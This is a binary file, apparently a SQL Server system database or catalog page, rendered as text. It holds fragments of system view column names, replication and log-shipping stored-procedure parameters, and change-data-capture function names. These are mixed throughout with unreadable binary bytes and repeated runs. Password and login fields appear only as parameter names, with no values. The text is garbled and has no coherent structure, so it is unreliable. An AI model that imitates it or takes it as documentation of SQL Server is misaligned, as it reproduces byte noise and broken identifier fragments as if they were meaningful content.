<total_lock_wait_count6@total_lock_wait_time_ms6Ntotal_query_optimization_count6Hmax_request_grant_memory_kb6Jactive_parallel_thread_count6&importance6Rrequest_max_memory_grant_percent6Brequest_max_cpu_time_sec6Rrequest_memory_grant_timeout_sec66group_max_requests6 max_dop64effective_max_dopeN6eN@lsn6 ܿ @dbname6ɳ@pubid6ɳ@artid6ɳ6@update_proc_names6Ap,@program_name6k&@publisher6k$@property6k@value6C*@publication6C(@subscriber6C.@subscriber_db6C @action6ҩ&@publisher6n@name6n&@publisher6n,@publisher_db6n*@publication6n(@subscriber6n.@subscriber_db6n&@local_job6n0@frequency_type6n	8@frequency_interval6n
J@frequency_relative_interval6nJ@frequency_recurrence_factor6n4@frequency_subday6n
F@frequency_subday_interval6nD@active_start_time_of_day6n@@active_end_time_of_day6n6@active_start_date6n2@active_end_date6n>@optional_command_line6n*@merge_jobid6n,@offloadagent6n.@offloadserver6n6@subscription_type6n$@hostname6nD@subscriber_security_mode6n4@subscriber_login6n:@subscriber_password6nB@publisher_security_mode6n2@publisher_login6n8@publisher_password6n&@job_login6n,@job_password6n $@internal6n!D@publisher_engine_edition6&@publisher6,@publisher_db6*@publication64@publication_type6&@metric_id6:@thresholdmetricname6@value6*@shouldalert6	@modey_id6.media_set_name6
.media_set_guid6<media_sequence_number6.tape_operation68tape_operation_desc66mount_request_type6@mount_request_type_desc6D(latch_class6D>waiting_requests_count6D*wait_time_ms6D2max_wait_time_ms6-$cpu_ticks6-"ms_ticks6-$cpu_count6-4hyperthread_ratio6-6physical_memory_kb6-4virtual_memory_kb6-*committed_kb6-8committed_target_kb6-	4visible_target_kb6-
8stack_size_in_bytes6-&os_quantum6-,os_error_mode6-
4os_priority_class6-4max_workers_count6-0scheduler_count6-<scheduler_total_count6-Ndeadlock_monitor_serial_number6-Lsqlserver_start_time_ms_ticks6-:sqlserver_start_time6-,affinity_type6-6affinity_type_desc6->process_kernel_time_ms6-:process_user_time_ms6-(time_source6-2time_source_desc6-:virtual_machine_type6-Dvirtual_machine_type_desc6"group_id6name6 pool_id6<statistics_start_time68total_request_count6Ftotal_queued_request_count6:active_request_count6:queued_request_count6	Ptotal_cpu_limit_violation_count6
6total_cpu_usage_ms6@max_request_cpu_time_ms66blocked_task_count6
<total_lock_wait_count6@total_lock_wait_time_ms6Ntotal_query_optimization_count6Hmax_request_grant_memor8>FZ	$	z	LTZzH(08v0
>


L


|BlD$|L~N$			h
2
	
XN&
|z`s	6)5o'	\6'
:read_only_replica_id6'
&replica_id6'
2routing_priority6UpT counter6UpT&occurrence6UpTvalue6*Wname6*W8object_package_guid6*W map_key6*W$map_value6y 9$@job_name6y 9 @job_id6y 9,@job_step_uid6Q.,@process_name6Q.*@DbPrincipal6tqcB@destination_object_name6tqc@@destination_owner_name6e*@object_name6q&@publisher6q,@publisher_db6q*@publication6q(@subscriber6q.@subscriber_db6q:@distribution_status6q<@distribution_message6q6@distribution_time6q	>@distribution_durationo6o@tabid6U{g@artid6U{g@mode6U{g.@publishertype6U{g&@publisher6T&@publisher6T,@publisher_db6T*@publication6T"@version6z$@agent_id6z(@agent_type6z$@database6zD@last_processed_file_name6z"@message6GC`@type6GC`@len6GC`@prec6GC`@scale6vi@pubid6vi@artid6vi(@range_type6vi.@ranges_needed6vi*@range_begin6vi&@range_end6vi4@next_range_begin6vi0@next_range_endribution_ordinal6,@table_schema6.@table_catalog62@constraint_name66@constraint_schema68@constraint_catalog62@constraint_type6M (@table_name6M ,@table_schema6M .@table_catalog6M &@stat_name6M *@stat_schema6M ,@stat_catalog6y 9$@job_name6y 9 @job_id6y 9,@job_step_uid6E&@publisher6E,@publisher_db6E*@publication6E4@publication_type6(@queued_pub62@identity_insert6lO @dbname6lO@type6lO8@ignore_distributor6lO*@from_backup6Q.,@process_name6Q.*@DbPrincipal6tqcB@destination_object_name6tqc@@destination_owner_name6@login6"@isvalid6&@publisher6e*@object_name6j2@distribution_db6j&@publisher6j*@publication6q&@publisher6q,@publisher_db6q*@publication6q(@subscriber6q.@subscriber_db6q:@distribution_status6q<@distribution_message6q6@distribution_time6q	>@distribution_duration6@artido6o@tabid6@objid6@artid62@identity_insert6(@queued_pub6U{g@artid6U{g@mode6U{g.@publishertype6U{g&@publisher6T&@publisher6T,@publisher_db6T*@publication6T"@version6+(@request_id6+(@originator6+.@originator_db6+.@response_srvr6+*@response_db6+2@connection_info6+>@response_srvr_version6+@@response_originator_id6+	J@response_conflict_retention6v|*@publication6v|(@request_id6v|*@cutoff_date6e&@job_login6e,@job_password6eB@publisher_security_mode6e2@publisher_login6e8@publisher_password6e&@publisher6e0@publisher_type6&@publisher6,@publisher_db6*@publication6$@enabling6.@originator_id6"@artlist6\&@publisher6\,@publisher_db6\*@publication6\<@dynamic_filter_login6\B@dynamic_filter_hostname6\F@dynamic_snapshot_location6\,@partition_id6Fm8@name6Fm8@time6"agent_id60@publication_id6}&@tracer_id6&@publisher6,@publisher_db6*@publication6(@subscriber6.@subscriber_db6$@property6@value6@mode6(@primary_id60@primary_server60@monitor_server6L@monitor_server_security_mode64@primary_database64@backup_threshold62@threshold_alert6	B@threshold_alert_enabled6
4@last_backup_file64@last_backup_date6<@last_backup_date_utc6
D@history_retention_period6z$@agent_id6z(@agent_type6z(@session_id6z0@session_status6z$@database6zD@last_processed_file_name6z"@message6GC`@type6GC`@len6GC`@prec6GC`@scale6vi@pubid6vi@artid6vi(@range_typer
J



$p\.h&rH~bD2F|bnT8N$.Z`{)26DLl`6'(@level2type6'@name6'@value6"&clerk_name6""total_kb6"*simulated_kb6"6simulation_benefit6"2internal_benefit6"2external_benefit6"0value_of_memory6"4periodic_freed_kb6"	4internal_freed_kb6d&session_id6d&request_id6d*scheduler_id6ddop6d*request_time6d&grant_time6d8requested_memory_kb6d4granted_memory_kb6d	6required_memory_kb6d
.used_memory_kb6d6max_used_memory_kb6d&query_cost6d
(timeout_sec6d<resource_semaphore_id6d"queue_id6d&wait_order6d4is_next_candidate6d*wait_time_ms6d(plan_handle6d&sql_handle6d"group_id6d pool_id6d"is_small6d0ideal_memory_kb6d(pdw_node_id6_q*base_address6_q*file_version6_qdebug6_q patched6_q&prerelease6_q,private_build6_q	"language6_q
 company6_q(description6_qname6_q
(pdw_node_id6(pdw_node_id6*component_id6(property_id6<component_instance_id6.property_value6(update_time6L$@password6CB@objid6CB@artid6CB"@postfix6CB(@bOutParams6CB"@outvars6CB$@agent_id6r$@unc_path6r,@local_server6r(@local_path6g]*@publication6g](@subscriber6g].@subscriber_db6g]&@publisher6g]0@publisher_type6g] @action6Dz*@publication6Dz&@publisher6Dz0@publisher_type6Dz&@usesqlclr6(*@publication6(&@publisher6I@objid6I"@op_type6I@artid6I"@outvars6I(@queued_pub6I2@identity_insert6&@publisher6&@articleID6*@publisherID6"@tableID6@owner6&@tablename6$@viewname6<@distributortimestamp6m*@publication6m"@article6m,@snapshot_lsn6m(@script_txt6[,&@publisher6[,$@database6@query64@SelectColumnList6.@temptablename6.@InsColumnList60@LocalTableName6&@publisher6$@database6_@name6_$@agent_id6_*@agent_jobid6_&@job_login6_,@job_password6_$@internal1Z61Z @server61Z$@database61Z@mode6D4@primary_database6&8@secondary_database6&.@restore_delay6&*@restore_all6&,@restore_mode6&4@disconnect_users6&(@block_size6&,@buffer_count6&6@max_transfer_size6&	6@restore_threshold6&
2@threshold_alert6&B@threshold_alert_enabled6&D@history_retention_period6&
:@ignoreremotemonitor6""@lineage6ؽ*@publication6ؽ8@ignore_distributor6y*@publication6y(@subscriber6y.@subscriber_db6y2@support_options6y(@web_server6y,@log_severity6y*@log_modules6y.@log_file_path6y	.@log_file_name6y
.@log_file_size6y2@no_of_log_files6y2@upload_interval6y
:@delete_after_upload6y.@custom_script6y2@message_pattern6y$@agent_xe6y<@agent_xe_ring_buffer6y @sql_xe6dW*@publication_id6KDfilestream_transaction_id6K(access_type6K	*logical_path6K
,physical_path6,@remoteserver6$@loginame6(@remotename6d&session_id6d&request_id6d*scheduler_id6ddop6d*request_time6d&grant_time6d8requested_memory_kb6d4granted_memory_kb6d	6required_memory_kb6d
.used_memory_kb6d6max_used_memory_kb6d&query_cost6d
(timeout_sec6d<resource_semaphore_id6d"queue_id6d&wait_order6d4is_next_candidate6d*wait_time_ms6d(plan_handle6d&sql_handle6d"group_id6d pool_id6d"is_small6d0ideal_memory_kb6d(pdw_node_id6_q*base_address6_q*file_version6_q0product_version6_qdebug6_q patched6_q&:f

,
\	~		B		`		4
2jd:L"*Vz
(

L

Lr
z(NrP v.lZBHr`r
T`@4PpfDJz\
,|
2
^
|`A)(71cp 6LSULio_completion_routine_address6LSU$io_handle6LSU	$io_offset6LSU&io_pending6LSU8io_pending_ms_ticks6LSU io_type6LSU:io_user_data_address6LSU4scheduler_address6
 node_id6
0node_state_desc6
<memory_object_address6
:memory_clerk_address6
Jio_completion_worker_address6
.memory_node_id6
4cpu_affinity_mask6
>online_scheduler_count6
	:idle_scheduler_count6

8active_worker_count6
2avg_load_balance6

Jpermanent_task_affinity_mask6
<online_scheduler_mask6
0processor_group6Pn$@newvalue6"B(member_name6"B4network_subnet_ip6"BBnetwork_subnet_ipv4_mask6"BJnetwork_subnet_prefix_length6"B$is_public6"B is_ipv46cQ"@tabname6cQ*@triggertype6F8X @server6F8X(@srvproduct6F8X$@provider6F8X"@datasrc6F8X$@location6F8X"@provstr6F8X"@catalog6F8X*@linkedstyle6F8X	(@localentry6Ț@dispatcher_pool_address6Ț*task_address6Țstate6Ț,wait_duration6Ț<current_item_duration6Ț0items_processed6Ț,fade_end_time6Ț(pdw_node_id6],@table_server6](@table_name6],@table_schema6].@table_catalog6]*@column_name6]"@ODBCVer6]*@fUsePattern6
$object_id6
$schema_id6
,TABLE_CATALOG6
*TABLE_SCHEMA6
&TABLE_NAME6
&TABLE_TYPE6
&TABLE_GUID6
(DESCRIPTION6
	*TABLE_PROPID6

*DATE_CREATED6
,DATE_MODIFIED6(@table_name6,@table_schema6(@table_type6,@table_schema6(@table_type6c,@process_name6c0@concurrent_max6c.@queue_timeout6c8@return_immediately6c*@DbPrincipal64@qual_object_name6@objid6<@pass_through_scripts68@target_object_name6v&@publisher6Ex@objid6Ex&@publisher6Ex,@publisher_db6Ex*@publication6Ex@owner6Ex @tranid6Ex@data6Ex"@datalen6Ex	*@commandtype6Ex
$@cmdstate6,W&@publisher6,W,@publisher_db6,W*@publication6$@database6_`@artid6_`&@view_name6_`8@include_timestamps6@artid6.@publishertype6&@publisher6Y.@originator_id6Y6@origin_datasource6Y"@tran_id6Y @row_id6Y0@conflict_tableq6q&@object_id6r&@object_id6r4@source_object_id6$@job_type6&@start_job6$@maxtrans6$@maxscans6(@continuous62@pollinginterval6&@retention6&@threshold6$Z*@publication6$Z$@property6$Z@value6$ZF@force_invalidate_snapshot6$ZF@force_reinit_subscription6^N@dynamic_filters_function_list6ԫ@pubid6ԫ@artid6ԫ.@schemaversion6ԫ(@schemaguid6ԫ(@schematype6ԫ(@schematext6ԫ6@update_schematext6R"$@metatype6R""@rowguid6R"&@tablenick6R""@lineage6R"@match6R"*@compatlevel6R"*@lineage_new6R"6@new_type_contents6T&@tablename6T&@ownername6T$@procname6T@pubid6T@artid6TD@generate_downlevel_procs6TD@generate_subscriber_proc6T6@destination_owner6y@pubid6y2@parent_nickname6y0@parent_rowguid6y2@dest_common_gen6ߞ&@tablename(@table_type6,@table_schema6(@table_type6V.DOMAIN_CATALOG6V,DOMAIN_SCHEMA6V(DOMAIN_NAME6V,TABLE_CATALOG6V*TABLE_SCHEMA6V&TABLE_NAME6V(COLUMN_NAME6c,@process_name6c0@concurrent_max6c.@queue_timeout6c8@return_immediately6c*@DbPrincipal64@qual_object_name6@objid6<@pass_through_scripts68@target_object_name6v&@publisher62&@publisher62,@publisher_db62*@publication62&@show_push6Ex@objid6Ex&@publisher6Ex,@publisher_db6Ex*@publication4~R0l@		l		
:
	\:PnT8	j6N(zR|V2tz*Rf
*,>dbD>\pD(
N

d
t|4^v
H


J<\8|ZrR`-o)l8	8 Lk0-1y88
=lcid0-1y4=name0-4]physical_device_name0-4[logical_device_name0-88
Astatus0-Kstatus_desc0-==Ymount_request_time0-==_mount_expiration_time0-4Odatabase_name0-88
=spid0-	88
Ccommand0-
x4xMcommand_desc0-88
Smedia_family_id0-4Qmedia_set_name0-
$$Qmedia_set_guid0-88
_media_sequence_number0-88
Qtape_operation0-xx[tape_operation_desc0-88
Ymount_request_type0-xxcmount_request_type_desc0-Dx4xKlatch_class0-Dawaiting_requests_count0-DMwait_time_ms0-DUmax_wait_time_ms0-88
Egroup_id0-4=name0-88
Cpool_id0-==_statistics_start_time0-[total_request_count0-itotal_queued_request_count0-88
]active_request_count0-88
]queued_request_count0-	stotal_cpu_limit_violation_count0-
Ytotal_cpu_usage_ms0-cmax_request_cpu_time_ms0-88
Yblocked_task_count0-
_total_lock_wait_count0-ctotal_lock_wait_time_ms0-qtotal_query_optimization_count0-total_suboptimal_plan_generation_count0-mtotal_reduced_memgrant_count0-kmax_request_grant_memory_kb0-mactive_parallel_thread_count0-4Iimportance0-88
urequest_max_memory_grant_percent0-88
erequest_max_cpu_time_sec0-88
urequest_memory_grant_timeout_sec0-88
Ygroup_max_requests0-88
Cmax_dop0-88
Weffective_max_dop0-88
Gobject_id0-44Uprocedure_number0-=name0-88
Mparameter_id0-00Qsystem_type_id0-88
Muser_type_id0-00Gprecision0-00?scale0-	88
Imax_length0-
44Sreal_max_length0-hhGis_output0-hhWhas_default_value0-
bbPPOdefault_value0-88
Wxml_collection_id0-K@table_name0-M@table_owner0-U@table_qualifier0-dK@table_type0-hhM@fUsePattern-eN
0-eN
=@lsn0- ܿC@dbname0-|I@publisher0-|O@publisher_db0-|M@publication0-|hhE@use_ftp0-|88
Y@subscription_type0-|hhK@force_zero0-gI@publisher0-gO@publisher_db0-gM@publication0-ghhG@reserved0-ghhM@from_backup0-ɳ$$A@pubid0-ɳ$$A@artid0-ɳhhY@update_proc_names0-ApO@program_name-zhh0-z?@type0-z?@dbms0-zE@version0-kI@publisher0-kG@property0-kA@value0-CM@publication0-CK@subscriber0-CQ@subscriber_db0-C00C@actionF4S
SBhG
Y
&j
A
	{	 	~AoKFEb%w7Y,QZ)@`	-i@)^"9)N0-I<$Ckeyword0-I<$88
Egroup_id0-I<$88
Gphrase_id0-I<$88
Ioccurrence0-I<$  Mspecial_term0-I<$@@Mdisplay_term0-I<$88
Qexpansion_type0-I<$@@Ksource_term0-I<$@M@querystring0-I<$88
?@lcid0-I<$88
K@stoplistid0-I<$hhU@accentsensitive0-4B88
Akey_id0-4B4Ekey_name0-4B  Qkey_thumbprint0-4B88
Malgorithm_id0-4Bx4xOalgorithm_tag0-4B4Ekey_type0-4B88
Ikey_length0-4B88
K@ProviderId0- E88
Kdatabase_id0- E88
Icatalog_id0- E88
Etable_id0- E88
Ebatch_id0- EQmemory_address0- E]crawl_memory_address0- Eememregion_memory_address0- E88
Ehr_batch0- E	hhQis_retry_batch0- E
88
Kretry_hints0- Ecretry_hints_description0- EIdoc_failed0- E
Sbatch_timestamp0-3Gcommit_ts0-3Cxdes_id0-3Icommit_lbn0-3Icommit_csn0-3==Kcommit_time0-N88
Sdistribution_id0-N88
Kpdw_node_id0-N@@=name0-
[0U@pk_table_schema0-
[0W@pk_table_catalog0-
[0a@foreignkey_tab_schema0-
[0c@foreignkey_tab_catalog0-9mLE@srvname0-VLI@publisher0-VLO@publisher_db0-VLM@publication0-VL88
A@artid0-p7I@publisher0-p7M@publication0-K$I?@dbms0-K$IE@version0-K$I?@type0-%M@publication0-%E@article0-%C@column0-%88
K@mapping_id0-%?@type0-%C@length0-%I@precision0-%A@scale0-%	I@publisherSDEFAULT0-WPARAMETER_DEFAULT0-	hhKIS_NULLABLE0-
44GDATA_TYPE0-44MDATA_TYPE_900-44WMANAGED_DATA_TYPE0-
88
eCHARACTER_MAXIMUM_LENGTH0-88
kCHARACTER_MAXIMUM_LENGTH_900-88
aCHARACTER_OCTET_LENGTH0-88
gCHARACTER_OCTET_LENGTH_900-44WNUMERIC_PRECISION0-44ONUMERIC_SCALE0-ddKDESCRIPTION0-GTYPE_NAME0-SLOCAL_TYPE_NAME0-{SS_XML_SCHEMACOLLECTION_CATALOGNAME0-ySS_XML_SCHEMACOLLECTION_SCHEMANAME0-kSS_XML_SCHEMACOLLECTIONNAME0-YSS_UDT_CATALOGNAME0-WSS_UDT_SCHEMANAME0-KSS_UDT_NAME0-@@eSS_UDT_ASSEMBLY_TYPENAME0-]SS_TYPE_CATALOG_NAME0-YSS_TYPE_SCHEMANAME0-88
_SS_DATETIME_PRECISION0-VLI@publisher0-VLO@publisher_db0-VLM@publication0-VL88
A@artid0-5$$A@artid0-5$$A@pubid0-'zK@subscriber0-'zQ@subscriber_db0-'z88
A@artid0-eI@publisher0-eO@publisher_db0-eM@publication0-p7I@publisher2; 
<
w.n)		8	WDq&M`TS

~
7

%
yO?:cx/`;-7)
:|#0-`**Ievent_time0-`88
Ssequence_number0-`4Gaction_id0-`hhGsucceeded0-`Ypermission_bitmask0-`hh]is_column_permission0-`44Isession_id0-`88
[server_principal_id0-`	88
_database_principal_id0-`
88
itarget_server_principal_id0-`88
mtarget_database_principal_id0-`88
Gobject_id0-`
4Iclass_type0-`4osession_server_principal_name0-`4_server_principal_name0-`UU]server_principal_sid0-`4cdatabase_principal_name0-`4mtarget_server_principal_name0-`UUktarget_server_principal_sid0-`4qtarget_database_principal_name0-`4]server_instance_name0-`4Odatabase_name0-`4Kschema_name0-`4Kobject_name0-`@4@Gstatement0-`@4@aadditional_information0-`4Gfile_name0-`Waudit_file_offset0-`44_user_defined_event_id0-`@4@euser_defined_informationg

	j			w,7w`C@C`I-:K);~0-	0.[unsuccessful_logons0-	0/88
Egroup_id0-	0044Kdatabase_id0-	0188
iauthenticating_database_id0-	0288
aopen_transaction_count0-rHGcpu_ticks0-rHEms_ticks0-rH88
Gcpu_count0-rH88
Whyperthread_ratio0-rHYphysical_memory_kb0-rHWvirtual_memory_kb0-rHMcommitted_kb0-rH[committed_target_kb0-rH	Wvisible_target_kb0-rH
88
[stack_size_in_bytes0-rHIos_quantum0-rH88
Oos_error_mode0-rH
88
Wos_priority_class0-rH88
Wmax_workers_count0-rH88
Sscheduler_count0-rH88
_scheduler_total_count0-rH88
qdeadlock_monitor_serial_number0-rHosqlserver_start_time_ms_ticks0-rH==]sqlserver_start_time0-rH88
Oaffinity_type0-rHx4xYaffinity_type_desc0-rHaprocess_kernel_time_ms0-rH]process_user_time_ms0-rH88
Ktime_source0-rHx4xUtime_source_desc0-rH88
]virtual_machine_type0-rHx4xgvirtual_machine_type_desc0-rH88
Kpdw_node_id0-6K@table_name0-6O@table_schema0-6M@column_name0-6E@grantor0-6E@grantee0-6O@table_schema0-6M@column_name0-6E@grantor0-6E@grantee0-6O@table_server0-6Q@table_catalog0-6K@table_name0-6O@table_schema0-6M@column_name0-6E@grantor0-6E@grantee-:hh0-:G@username0-*WM@publication0-*WE@article0-*WG@procname0-*WhhA@alter0-3A88
A@artid0-3A00?@mode0-3AC@ddlcmd0-+H88
G@maxtrans0-+H88
G@maxscans0-+H00K@continuous0-+HU@pollinginterval0-+H88
M@is_from_job0-L_$$A@subid0-L_$$A@pubid0-L_hhM@log_attempt0-!C88
I@tablenick0-!C$$E@rowguid0-!C7U@proxied_lineage0-!CO@proxied_colv0-!Chho@proxy_logical_record_lineage0-!C88
M@compatlevel-P0-PK@generation0-P88
I@tablenickLEDiH

/
		&	~!A8I<?\{h#Ml;dy*

S

z-K`-2)nb<:Mg0-Ckeyword0-@@Mdisplay_term0-88
Gcolumn_id0-Qdocument_count0-88
?@dbid0-88
A@objid0-느88
A@objid0-느88
A@artid0-느=@key0-느C@colpos0-느88
E@art_col0-느hhM@get_num_col0-느88
E@num_col0-느88
G@this_col0-느	hhU@skipcomputedcol0-느
88
G@agent_id0-L|M@publication0-L|E@article0-L|
M@filter_name0-L|ccQ@filter_clause0-L|hhi@force_invalidate_snapshot0-L|hhi@force_reinit_subscription0-L|I@publisher0-L|S@publisher_typeWio_stall_write_ms0-D
Eio_stall0-DYsize_on_disk_bytes0-DKfile_handle0-)etransaction_sequence_num0-88
Gbucket_no0-88
Kdatabase_id0-88
Urecovery_unit_id0-Mlog_block_id0-Mcache_buffer0-~>88
K@DatabaseId0-~>K@ConsumerId0-~>88
Kdatabase_id0-~>88
Urecovery_unit_id0-~>Kconsumer_id0-~>Ystart_log_block_id0-~>Wlast_log_block_id0-~>00Ashared0-~>44Kref_counter0-~>Mcache_buffer-r0-rW@physical_locator0-є4Klistener_id0-є4Iip_address0-є4Qip_subnet_mask0-єhhCis_dhcp0-є4Wnetwork_subnet_ip0-є88
mnetwork_subnet_prefix_length0-є4enetwork_subnet_ipv4_mask0-є88
?state0-є	4Istate_desc0-Y@constraint_schema0-kYCONSTRAINT_CATALOG0-kWCONSTRAINT_SCHEMA0-kSCONSTRAINT_NAME0-kOTABLE_CATALOG0-kMTABLE_SCHEMA0-kITABLE_NAME0-kSCONSTRAINT_TYPE0-kOIS_DEFERRABLE0-k	YINITIALLY_DEFERRED0-IEc@snapshot_session_token0-IE$$O@dynsnapseqno0-88
W@replication_type0-I@publisher0-O@publisher_db0-88
e@publisher_security_mode0-U@publisher_login0-[@publisher_password0-M@publication0-K@subscriber0-	Q@subscriber_db0-
88
g@subscriber_security_mode0-W@subscriber_login0-]@subscriber_password0-
M@distributor0-88
i@distributor_security_mode0-Y@distributor_login0-_@distributor_password0-$$U@subscription_id0-88
Y@independent_agent0-88
Y@subscription_type0-88
g@use_interactive_resolver0-88
Q@failover_mode0-hhO@use_web_sync0-G@hostname0-느88
A@objid0-느88
A@artid0-느=@key0-느C@colpos0-느88
E@art_col0-느hhM@get_num_col0-느88
E@num_col0-느88
G@this_col0-느	hhU@skipcomputedcol0-느
88
G@agent_id0-L|M@publication
x
5
RY+
		>	

]V}(O
I7`>-_)
=740-]G88
Klistener_id0-]G`4`Iip_address0-]GhhCis_ipv40-]G88
=port0-]G44=type0-]G(4(Gtype_desc0-]G44?state0-]G 4 Istate_desc0-]G	==Istart_time0-,MK@table_name0-,MO@table_schema0-,MK@table_type0-,MO@table_schema0-,MK@table_type0-r$SK@subscriber0-r$S44K@agent_type0-r$S88
S@frequency_type0-r$S88
[@frequency_interval0-r$S88
m@frequency_relative_interval0-r$S88
m@frequency_recurrence_factor0-r$S88
W@frequency_subday0-r$S88
i@frequency_subday_interval0-r$S	88
g@active_start_time_of_day0-r$S
88
c@active_end_time_of_day0-r$S88
Y@active_start_date0-r$S88
U@active_end_date0-r$S
I@publisher0-CM88
I@src_objid0-CM88
A@artid0-CMC@prefix0-CMhhQ@artcolcounterEis_dirty0-88
Qdisk_ios_count0-	88
acontext_switches_count0-
88
Ooriginal_cost0-88
Mcurrent_cost0-_memory_object_address0-
Epages_kb0-4Ientry_data0-88
Cpool_id0->>5Utime_to_generate0-Guse_count0->>5gaverage_time_between_uses0->>5[time_since_last_use0->>5]probability_of_reuse0->>5?value0-a44Strace_column_id0-ax4xMpackage_name0-ax4xQxe_action_name0-[5a]waiting_task_address0-[5a44Isession_id0-[5a88
Sexec_context_id0-[5aUwait_duration_ms0-[5ax4xGwait_type0-[5aUresource_address0-[5a_blocking_task_address0-[5a44[blocking_session_id0-[5a	88
eblocking_exec_context_id0-[5a
4]resource_description0-[5a88
Kpdw_node_id0-,MK@table_name0-,MO@table_schema0-,MK@table_type0-,MO@table_schema0-,MK@table_type0-U@assembly_schema0-88
M@assembly_id0-VQDOMAIN_CATALOG0-VODOMAIN_SCHEMA0-VKDOMAIN_NAME0-VOTABLE_CATALOG0-VMTABLE_SCHEMA0-VITABLE_NAME0-VKCOLUMN_NAME-N0-NE@command0-NI@parameter0-NG@argument0-ڤwO@source_table0-ڤwM@table_owner0-+88
g@subscriber_security_mode0-+W@subscriber_login0-+]@subscriber_password0-+88
i@distributor_security_mode0-+Y@distributor_login0-+_@distributor_password0-+I@job_login0-+O@job_password0-r$SK@subscriber0-r$S44K@agent_type0-r$S88
S@frequency_type0-r$S88
[@frequency_interval0-r$S88
m@frequency_relative_interval0-r$S88
m@frequency_recurrence_factor0-r$S88
W@frequency_subday0-r$S88
i@frequency_subday_interval0-r$S	88
g@active_start_time_of_day0-r$S
88
c@active_end_time_of_day7Dw*KI&f1Hc	q	0	7t7`?-=)b>,ɔ0-544K@DatabaseId0-588
E@TableId0-588
E@IndexId0-5M@PartitionId0-5?@Mode0-@C@server0-@O@remote_login0-@O@new_password0-AM@publication0-A88
O@partition_id0-AW@dynsnap_location-F0-F88
K@schematype0-F88
Q@schemasubtype>S5`->)xp?|0-500Kis_iam_page0-500eis_mixed_page_allocation0-588
cpage_free_space_percent0-588
Gpage_type0-54Qpage_type_desc0-500Ipage_level0-544Wnext_page_file_id0-588
Wnext_page_page_id0-544_previous_page_file_id0-588
_previous_page_page_id0-500Yis_page_compressed0-500Whas_ghost_recordsaTs``
 
["
@WB&4endpoint_webmethods& endpoints&c4event_notifications&bevents&|4extended_procedures&?4extended_properties&K"filegroups&u\{Lfilestream_tombstone_2073058421&Nfiletable_system_defined_objects&x}Ffiletable_updates_2105058535&"filetables&~V`:fn_builtin_permissions&kWBfn_check_object_signatures&X8fn_fulltext_compindex&*fn_fulltext_i2&cG*fn_fulltext_i4&=x*fn_fulltext_i8&`0fn_get_audit_file&
fn_dblog&1(fn_dump_dblog& @@fn_GetRowsetIdFromRowDump&Tfn_hadr_backup_is_preferred_replica&SJevent_notification_event_types&q9"fn_get_sql&c+0fn_helpcollations&{R2fn_ftcatcomponents&78fn_ft_thesaurus_files&0fn_ft_wordbreaker&XHfn_getProcessorUsage_internal&3Jfn_getVolumeFreeSpace_internal&
36fn_cdc_increment_lsn&eN6fn_cdc_decrement_lsn&1\0fn_cdc_is_bit_set&iS	>fn_EnumCurrentPrincipals&195:fn_GetCurrentPrincipal&>fn_escapecmdshellsymbols&Vfn_escapecmdshellsymbolsremovequotes&nbJfn_convertnumericlsntobinary10&xT2fn_cColvEntries_80&ZV.fn_fIsColTracked&E1\4fn_chariswhitespace&tDfn_generateparameterpattern&Wi8fn_getparametervalues&]S,fn_getvalidname&&0fn_datediff_units&z6fn_add_units_to_date&8fn_convert_to_seconds&s<H4fn_IHcompareversion&826fn_IHarticle_columns& P2fn_helpdatatypemap&	Zfn_getpersistedservernamecasevariation&!<fn_IHGenerateUniqueName&vZBfn_basecolsofcomputedpkcol&2<fn_fcomputedpkimprecise&o4fn_ftableivprocexec&~K.fn_gettypestring&Hfn_activedistributionagentids&_6fn_cdc_is_db_enabled&q<fn_cdc_is_table_enabled&
?8fn_cdc_dropped_tables&Lo8fn_cdc_index_required&Bfn_cdc_constraint_required&@9U:fn_cdc_trim_whitespace&a7:fn_cdc_get_column_list&0fn_cdc_get_source&,fn_cdc_get_role&
p.fn_cdc_get_jobid&$fn_cdc_jobs&ܻ.fn_cdc_job_entry&0Hfn_cdc_db_name_from_job_entry&6fn_cdc_get_start_lsn&\2fn_cdc_hexstrtobin&<fn_cdc_db_objects_exist&nHfn_cdc_compute_low_water_mark&o2fn_cdc_format_type&<fn_cdc_next_right_quote&>fn_cdc_capture_instances&VJfn_cdc_capture_instance_exists&a<fn_cdc_check_parameters&q[Jfn_cdc_all_changes_range_error&ƲJfn_cdc_net_changes_range_error&7>fn_cdc_has_select_access&f^Rfn_cdc_get_column_ordinal_internal&B#@fn_cdc_get_column_ordinal&##8fn_cdc_is_range_valid&mW2fn_cdc_get_min_lsn&N2fn_cdc_get_max_lsn&j:fn_cdc_map_lsn_to_time&
?:fn_cdc_map_time_to_lsn&O@fn_cdc_has_column_changed&%eJfn_GetArticleSchemaVersionGuidAsourceinfo&tji0fn_ORAgetbasetype&>6fn_MSrepl_sourcetype&42fn_IHgettypestring&	Zfn_getpersistedservernamecasevariation&
><fn_MSconstraint_columns&L=8fn_MSrepl_ispublished&
Jfn_MSrepl_is_workgroup_edition&9BN@fn_MSrepl_istranpublished&=l{Bfn_MSrepl_ismergepublished&3`2fn_MSrepl_isdistdb&'Dfn_ORAenumarticlecolumninfo&4fn_MSrepl_editionid&*M?*fn_isxmlcolumn&!E(fn_IHgetpubid&2fn_MSrepl_getpubid&!<fn_IHGenerateUniqueName&vZBfn_basecolsofcomputedpkcol&,fn_ispkcomputed&:fn_MSis_col_replicated&F @fn_MSrepltranparsecmdtype&2<fn_fcomputedpkimprecise&o4fn_ftableivprocexec&~K.fn_gettypestring&9>4fn_MSrepl_dependUDT&6fn_MStran_foreignkey&8.fn_MStran_unique&bLfn_IHPublicationIsTransactional&>fn_peerconflicttablename&Hfn_activedistributionagentids&Rfn_MSgetlogshippingmoniterlinkname&1ZBfn_MSgetlogshippingjobname&ZDfn_MSvalidatelogshipagentid&_6fn_cdc_is_db_enabled&q<fn_cdc_is_table_enabled&
?8fn_cdc_dropped_tables&Lo8fn_cdc_index_required&Bfn_cdc_constraint_required&@9U:fn_cdc_trim_whitespace&a7:fn_cdc_get_column_list&0fn_cdc_get_source&,fn_cdc_get_role&
p.fn_cdc_get_jobid&$fn_cdc_jobs&ܻ.fn_cdc_job_entry&0Hfn_cdc_db_name_from_job_entry&6fn_cdc_get_start_lsn&\2fn_cdc_hexstrtobin&<fn_cdcT^


6vH	B6
\	lF	lB
f.	:&

b
&tP.`d`*
,
V	pl&j6`
